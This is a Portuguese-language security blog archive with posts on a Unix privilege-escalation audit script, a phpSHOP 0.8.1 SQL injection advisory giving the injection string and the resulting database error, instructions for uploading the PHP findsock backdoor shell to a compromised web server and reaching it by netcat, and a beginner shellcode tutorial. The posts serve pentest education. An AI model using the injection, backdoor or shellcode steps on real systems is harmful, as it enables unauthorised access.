jump to navigation

Unix-privesc-checker February 27, 2008

Posted by y2h4ck in General Security.
add a comment

Unix-privesc-checker é um script que roda em sistemas Unix (testado no Solaris 9, HPUX 11, vários linuxes, FreeBSD 6.2). Ele tenta encontrar erros de configuração que podem permitir que usuários sem privilégios devidos escalem privilégios para acessar aplicações locais (ex: databases).

Ele é um simples shell script, sendo assim, pode ser facilmente baixado e executado. Ele pode ser executado tanto como normal user quanto como root (óbviamente ele vai dar um resultado melhor quando executado como root porque pode ler mais arquivos). 

 

Download

unix-privesc-check v1.0 pode ser baixado aqui.

Uso

O Download é gzipado, sendo assim basta dar um gunzip. Faça upload para o server que você deseja fazer o audit / pentest e depois execute:

$ ./unix-privesc-checker > output.txt 

Ele exibe na tela muita tranqueira, sendo assim provavelmente a melhor saida é jogar para um arquivo de saída e procurar pela palavra “WARNING”.  Se você não ver “WARNING” é pq o script não encontrou nada suspeito.

$ ./unix-privesc-check

Starting unix-privesc-check v1.0 ( http://pentestmonkey.net/tools/unix-privesc-check )

This script checks file permissions and other settings that could allow
local users to escalate privileges.

Use of this script is only permitted on systems which you have been granted
legal permission to perform a security assessment of.  Apart from this
condition the GPL v2 applies.

Search the output below for the word ‘WARNING’.  If you don’t see it then
this script didn’t find any problems.

Assuming the OS is: linux

############################################
Checking if external authentication is allowed in /etc/passwd
############################################
No +:… line found in /etc/passwd

############################################
Checking nsswitch.conf for addition authentication methods
############################################
Neither LDAP nor NIS are used for authentication

… lots more output … 

 

Este script é muito util para administradores que querem manter um nível melhor de segurança assim como para

pentesters que desejam auditar um server unix.

Jails em SSH: Montando sistema de Shell Seguro February 20, 2008

Posted by y2h4ck in General Security.
add a comment

Neste artigo vamos aprender a criar sistemas de Jail em SSH e assim separar recursos a usuários shell de acordo com suas necessidades, criando um ambiente secundário, o que aumenta a segurança na disponibilização de acessos remotos a terceiros.

http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=2125

Defcon Groups: DC55111 (Chapter Brazil-SP) February 19, 2008

Posted by y2h4ck in Defcon Groups.
1 comment so far

Pessoal, o RootSecurity foi adicionado à lista oficial de grupos reconhecidos pela Defcon como um DefconGroup. RootSecurity ficará identificado como DC55111 no site do DCG e receberemos em primeira mão notícias e informações interessantes referentes ao que irá acontecer na Defcon.

Estaremos cadastrados como http://dg.rootsecurity.com.br

Com isso só temos a crescer.

Book of Month: February/2008 February 18, 2008

Posted by y2h4ck in security books.
Tags: , , , ,
add a comment

Windows Hacking Exposed

Hacking Exposed Windows: Microsoft Windows Security Secrets and Solutions
Author: Joel Scambray
Publisher: McGraw-Hill Osborne Media
Year: 2007
Pages: 480
Descrição: Meet the challenges of Windows security with the exclusive Hacking Exposed “attack-countermeasure” approach. Learn how real-world malicious hackers conduct reconnaissance of targets and then exploit common misconfigurations and software flaws on both clients and servers. See leading-edge exploitation techniques demonstrated, and learn how the latest countermeasures in Windows XP, Vista, and Server 2003/2008 can mitigate these attacks. Get practical advice based on the authors’ and contributors’ many years as security professionals hired to break into the world’s largest IT infrastructures.

phpSHOP 0.8.1 SQL Injection: Packet Storm Security February 16, 2008

Posted by y2h4ck in Pentesting, Web Hacking.
add a comment

http://packetstormsecurity.org/filedesc/phpshop081-sql.txt.html

/// File Name: phpshop081-sql.txt
Description: phpSHOP version 0.8.1 suffers from a SQL injection vulnerability in login.php.
Author: y2h4ck
Homepage: http://y2h4ck.wordpress.com/
File Size: 1579
Last Modified: Feb 15 15:32:16 2008
MD5 Checksum: adeea1ca876a3e67f781406f38e9a6ba

phpSHOP 0.8.1 SQL Injection Vulnerability February 14, 2008

Posted by y2h4ck in Pentesting, Web Hacking.
add a comment

[+]———————————————-[+]

phpSHOP 0.8.1 SQL Injection
[+]———————————————-[+]
author: y2h4ck
e-mail: y2h4ck[ at ] gmail.com
page: http://y2h4ck.wordpress.com
[+]———————————————-[+]
Vuln script: http://shop/0.8.1/?login=1&&
String: /?login=‘1==1′ select –
In the login/password input box you can pass some SQL Injection strings to manipulate
the behavior of the mysql Queries to the phpSHOP
Result:
[+]———————————————-[+]
Database error: Invalid SQL: SELECT * from auth_user_md5,user_info WHERE auth_user_md5.username =”1==1′ select –’ AND auth_user_md5.password =’d41d8cd98f00b204e9800998ecf8427e’AND auth_user_md5.password =’d41d8cd98f00b204e9800998ecf8427e’AND auth_user_md5.user_id = user_info.user_id AND user_info.address_type = ‘BT’

MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1==1′ select –’ AND auth_user_md5.password =’d41d8cd98f00b204e9800998ecf8427e’A’ at line 1)

[+]———————————————-[+]

Version: 0.8.1
Vendor : www.phpshop.org

Date: 14/02/2008

[+]———————————————-[+]

Tactical Exploitations – The other Way to Pentest February 12, 2008

Posted by y2h4ck in Ethical Hacking, Pentesting.
Tags: , , , , ,
add a comment

Encontrei isto e estou lendo, é bem interessante e tem muitos tópicos bacanas, acredito que seja um Must Have para todos os que trabalham com Pentest/Security

Autores : H D Moore (hdm[at]metasploit.com) ; Valsmith valsmith[at]metasploit.com)
Último Update: 08/09/2007

Título : Tactical Exploitation OR “The Other Way to Pen-Test” OR “Random Pwning Fun Bag”

1.1 Abstract
Penetration testing often focuses on individual vulnerabilities and services. This
paper introduces a tactical approach that does not rely on exploiting known
flaws. The first section of this paper covers information gathering and discovery
techniques, with a concentration on third-party services and new tools. The
second section of this paper combines the information discovery techniques in
the first section with various protocol and implementation weaknesses, in order
to provide clear steps for gaining access to a target network.

Contents
1 Introduction 3
1.1 Abstract . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Background . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Author Bio – HD Moore . . . . . . . . . . . . . . . . . . . . . . . 4
1.4 Author Bio – Valsmith . . . . . . . . . . . . . . . . . . . . . . . . 4
1.5 Acknowledgements . . . . . . . . . . . . . . . . . . . . . . . . . . 4
2 The Tactical Approach 5
2.1 Vulnerabilties . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2.2 Competition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
3 Information Discovery 6
3.1 Personnel Discovery . . . . . . . . . . . . . . . . . . . . . . . . . 6
3.1.1 Search Engines . . . . . . . . . . . . . . . . . . . . . . . . 6
3.1.2 Paterva’s Evolution . . . . . . . . . . . . . . . . . . . . . 7
3.2 Network Discovery . . . . . . . . . . . . . . . . . . . . . . . . . . 8
3.2.1 Discovery Services . . . . . . . . . . . . . . . . . . . . . . 8
3.2.2 Bounce Messages . . . . . . . . . . . . . . . . . . . . . . . 9
3.2.3 Virtual Hosting . . . . . . . . . . . . . . . . . . . . . . . . 10
3.2.4 Outbound DNS . . . . . . . . . . . . . . . . . . . . . . . . 10
3.2.5 Direct Contact . . . . . . . . . . . . . . . . . . . . . . . . 11
3.3 Firewalls and IPS . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.3.1 Firewall Identification . . . . . . . . . . . . . . . . . . . . 12
3.3.2 IPS Identification . . . . . . . . . . . . . . . . . . . . . . . 12
3.4 Application Discovery . . . . . . . . . . . . . . . . . . . . . . . . 12
3.4.1 Slow and Steady wins the Deface . . . . . . . . . . . . . . 12
3.4.2 Finding Web Apps with W3AF . . . . . . . . . . . . . . . 13
3.4.3 Metasploit 3 Discovery Modules . . . . . . . . . . . . . . 13
3.5 Client Application Discovery . . . . . . . . . . . . . . . . . . . . 14
3.5.1 Browser Fingerprinting . . . . . . . . . . . . . . . . . . . 14
3.5.2 Mail Client Fingerprinting . . . . . . . . . . . . . . . . . . 15
3.5.3 SMB Client Fingerprinting . . . . . . . . . . . . . . . . . 15
3.6 Process Discovery . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.6.1 Traffic Monitoring with IP IDs . . . . . . . . . . . . . . . 16
3.6.2 Web Site Monitoring with HTTP . . . . . . . . . . . . . . 17
3.6.3 Usage Monitoring with MS FTP . . . . . . . . . . . . . . 17
4 Information Exploitation 19
4.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
4.2 External Networks . . . . . . . . . . . . . . . . . . . . . . . . . . 19
4.2.1 Attacking File Transfers . . . . . . . . . . . . . . . . . . . 19
4.2.2 Attacking Mail Services . . . . . . . . . . . . . . . . . . . 21
4.2.3 Attacking Web Servers . . . . . . . . . . . . . . . . . . . . 21
4.2.4 Attacking DNS Servers . . . . . . . . . . . . . . . . . . . 21
4.2.5 Attacking Database Servers . . . . . . . . . . . . . . . . . 22
4.2.6 Attacking NTLM Authentication . . . . . . . . . . . . . . 22
4.2.7 Free Hardware . . . . . . . . . . . . . . . . . . . . . . . . 23
4.3 Internal Networks . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
4.3.1 Web Proxy Auto-Discovery Protocol . . . . . . . . . . . . 24
4.3.2 Microsoft DNS Servers . . . . . . . . . . . . . . . . . . . . 24
4.3.3 Microsoft WINS Servers . . . . . . . . . . . . . . . . . . . 25
4.3.4 Exploiting NTLM Relays . . . . . . . . . . . . . . . . . . 25
4.3.5 SMB and Samba . . . . . . . . . . . . . . . . . . . . . . . 26
4.4 Trust Relationships . . . . . . . . . . . . . . . . . . . . . . . . . . 28
4.4.1 NFS Home Directories . . . . . . . . . . . . . . . . . . . . 29
4.4.2 Hijacking SSH . . . . . . . . . . . . . . . . . . . . . . . . 30
4.4.3 Hijacking Kerberos . . . . . . . . . . . . . . . . . . . . . . 31
5 Conclusion 34

Aproveitem este livro maravilhoso escrito por quem realmente entende da coisa =]

http://packetstorm.offensive-security.com/papers/attack/tactical_paper.pdf

PHP FindSock Shell February 11, 2008

Posted by y2h4ck in Pentesting.
Tags: , , ,
add a comment

Esta ferramenta é designada para aquelas situações durante um pentest quando você tem que fazer um Upload Access em um webserver que roda PHP, você quer utilizar uma Shell Interativa (todos queremos :D), mas o firewall está fazendo um ótimo Egress Filtering – sendo assim, bindshells e reverse shells não vão funciona.

Sendo assim faça upload do php-findsock-shell em qualquer lugar no web root depois basta acessa-la com a URL apropriada via netcat (não pelo Browser duh!). Ao invés de você receber a resposta padrão HTTP, sua sessão HTTP irá se transformar em uma sessão shell interativa!!

$ nc -v target 80
target [192.168.106.20] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0
 sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$

Você terá então uma shell interativa em que você poderá rodar programas como telnet, ssh e su. Ela difere de outras Web form-based shells que permitem apenas que você execute comandos simples e depois retorna um output pra você.

Download

php-findsock-shell-1.0.tar.gz

MD5sum: aecfea69fc6b482709f339756d6b419b

SHA1sum: 96e1a89cb15dcb64d81a13c2211faf98e80d3518

Para prevenir que qualquer um utilize sua backdoor de forma abusiva – um verdadeiro PESADELO enquanto estiver fazendo pentest – você deve modificar o source code adicionando algum tipo de senha ou parâmetro extra. Infelizmente isto não veio definido na versão da php-findsock-shell, porém ja mandei um e-mail para o desenvolvedor falando disso e acredito que a versão v1.1 vai ter :)

Compile findsock.c

É necessário compilar o findsock.c pois ele irá executar no webserver que você ganhou acesso.

$ gcc -o findsock findsock.c

Upload “findsock” e “php-findsock-shell.php”

Faça upload da versão compilada do findsock e do PHP script no web server na mesma pasta.

Aproveite a nova shell !! :D

Shellcode for Beguinners February 7, 2008

Posted by y2h4ck in General Hacking.
Tags: , , , ,
1 comment so far

Introdução

O Shellcode é um grupo de instruções que podem ser executadas enquanto outro programa está rodando. Hoje em dia existem vários exemplos mostrando como um shellcode pode ser executado enquanto uma aplicação é executada assim como utiliza-los para exploitar vulnerabilidades. Para conseguir tirar vantagem de uma falha de segurança é indispensável injetar um shellcode, pois devemos tomar controle da aplicação vulnerável.

O Objetivo do artigo não é explicar todas as possibilidades de injetar shellcodes mas sim, analisar e entender sua essencia.

Registers

Antes de analisar o código assembly e os binários, é necessiário um overview dos registers da CPU a fim de entender sua importancia na linguagem assembly. A arquitetura que iremos utilizar para teste é a Intel-x86. Todos os registers da plataforma Intel suportam 32 bits e podem ser divididos em sub-sessões de 16 e 8 bits, simplesmente para fazer um uso heuristico da memória.

32 bits 16 bits 8 bits (alto) 8 bits (baixo)
EAX AX AH AL
EBX BX BH BL
ECX CX CH CL
EDX DX DH DL

EAX, AX, AH, AL : Estes registers são chamados acumuladores e podem ser usados para operações de Input ou Output ou para executar Interrupt Calls. Veremos como é indispensável o uso deles quando precisamos efetuar operações com System Calls.

EBX, BX, BH, BL Estes registers são os registers básicos e são utilizados como ponteiros básicos para acessar a memória. Usamos estes registers para passar system call arguments.

ECX, CX, CH, CL Estes registers são os chamados “contadores”

EDX, DX, DH, DL Estes registers são registers de dados e eles podem ser utilizados para operações aritiméticas, interrupt calls e também para I/O.

Pequena introdução a Linguagem Assembly

A linguagem assembly que iremos ver um pouco é chamada “Inline Assembly” e adota a sintaxe da AT&T. O nome dos registers é precedida pelo simbolo “%”, sendo assim se quisermos utilizar o register eax devemos usa-lo como “%eax”. Se vamos nos referir à constantes numéricas, este valor deve ser precedido pelo simbolo “$”. Seguindo estes esquemas, vamos ver as principais instruções utilizadas em Assembly:

MOV – Esta instrução nos permite mover um valor para um register.
mov $0×4, %al – move 0×4 para al
mov %eax, %ebx – move o que existe em eax para ebx

PUSH – Coloca um valor na Stack.

POP – Pega um valor vindo da Stack e guarda em um register ou em uma variávele.

INT – interrupt call.
int $0×80 – Isto da o controle do Kernel.

Codification phase

O algoritmo que iremos implementar em Assembly e o código binário (versão hexadecimal) é o print no vídeo da string “WWW.ROSIELLO.ORG”.

A solução do problema em C é o pedaço de código a seguir:

int main()
{
write(0, “WWW.ROSIELLO.ORG”, 16);
exit(0);
}

Para efetuar o write() e exit() nos temos que executar suas System Calls. Isto é possível de ser encontrado na library Linux “unistd.h” que é onde ficam guardadas todas as system calls que podemos utilizar

In order to realize the write() and the exit() we have to exe- cute their system calls. It is possible to find in Linux the library “unistd.h” where are stored all the system calls that one can use.
Agora vamos tentar implementar esta instrução em Assembly.

xor %eax, %eax <- isso limpa o register %eax
xor %ebx, %ebx
xor %edx, %edx
push %eax <- Insere NULL na stack fechando a string, porém, nenhum caracter perdido vai aparecer.
push $0×47524f2e #push GRO. into the stack
push $0×4f4c4c45 #push OLLE into the stack
push $0×49534f52 #push ISOR into the stack
push $0×2e575757 #push .WWW into the stack

Os 4 push acima inserem na Stack a string “www.rosiello.org” na codificação hexadecimal.

mov %esp, %ecx # it moves %esp into %ecx

Agora o endereço da String está no register %esp (lembre-se que que o esp é incrementado ou decrementado apenas com pop/push) e nós colocamos ele no register %ecx, assim a CPU conseguirá encontrar a posição mais apropriada da string na stack (write(o,string, ..)).

mov $0×10,%dl #size 16 bytes

Exatamente como na linguagem C nós indicamos que o tamanho da string é 16 bytes (write(0, string, 16)).

mov $0×4,%al #syscall for write()

Colocamos no register eax o núermo da rotina write().

int $0×80 # execute the syscall

Agora o kernel irá ter o controle da aplicação e irá executar a rotina write().

exit(0):

xor %eax, %eax
xor %ebx, %ebx
eax e ebx estão limpos :)

mov $0×1, %al # syscall para exit()

Vamos inserir o valor do exit em al.
int $0×80 # Passamos então o controle para o kernel.

Compile and Execute

O último passo a fazer é a codificação em código binário. Para fazer isso usaremos o Gnu Debugger (gdb).

h4ck@matrix:~shellcode$ gdb teste01

(gdb) disas main
Dump of assembler code for function main:
0×80482f4 : push %ebp
0×80482f5 : mov %esp,%ebp
0×80482f7 : sub $0×8,%esp
0×80482fa : and $0xfffffff0,%esp
0×80482fd : mov $0×0,%eax
0×8048302 : sub %eax,%esp
0×8048304 : xor %eax,%eax
0×8048306 : xor %ebx,%ebx
0×8048308 : xor %edx,%edx
0×804830a : push %eax
0×804830b : push $0×47524f2e
0×8048310 : push $0×4f4c4c45
0×8048315 : push $0×49534f52
0×804831a : push $0×2e575757
0×804831f : mov %esp,%ecx
0×8048321 : mov $0×10,%dl
0×8048323 : mov $0×4,%al
0×8048325 : int $0×80
0×8048327 : xor %eax,%eax
0×8048329 : xor %ebx,%ebx
0×804832b : mov $0×1,%al
0×804832d : int $0×80
End of assembler dump.

Para ganhar o opcode você deve proceder da seguinte forma:

(gdb) x/bx main+16
0×8048304 : 0×31 <- OPCODE
(gdb)
0×8048305 : 0xc0 <- OPCODE
(gdb)
0×8048306 : 0×31 <- OPCODE
….
Agora é indispensável colocar qualquer como o padrão “x31xc0×31..”.
“x31xc0×31xdbx31xd2×50x68×2ex4f”
“x52×47x68×45x4cx4cx4fx68×52x4f”
“x53×49x68×57x57×57x2ex89xe1xb2″
“x10xb0×04xcdx80×31xc0×31xdbxb0″
“x01xcdx80″

Para compilar e executar o shellcode você pode organiza-lo no programa em C da seguinte forma:

h4ck@matrix:~shellcode$ cat shellcode.c

#include

char shellcode[]=
“x31xc0×31xdbx31xd2×50x68×2ex4f”
“x52×47x68×45x4cx4cx4fx68×52x4f”
“x53×49x68×57x57×57x2ex89xe1xb2″
“x10xb0×04xcdx80×31xc0×31xdbxb0″
“x01xcdx80″;
main()
{
void (*routine) ();
(long) routine = &shellcode;
printf(“Size: %d bytesn”, sizeof(shellcode));
routine();
}

h4ck@matrix:~shellcode$ gcc shellcode.c -o shellcode
h4ck@matrix:~shellcode$ ./shellcode
Size: 44 bytes.
WWW.ROSIELLO.ORG

Conclusão

Fazer um shellcode não é dificil, mas você vai precisar de paciência e prática para ficar bom nisto. O shellcode é muito importante para exploitar diversas falhas de segurança uma vez que sem ele você simplesmente vai ocasionar um Buffer Overflow é gerar um Core Dump no sistema :)

Referências: www.rosiello.org :)

[]s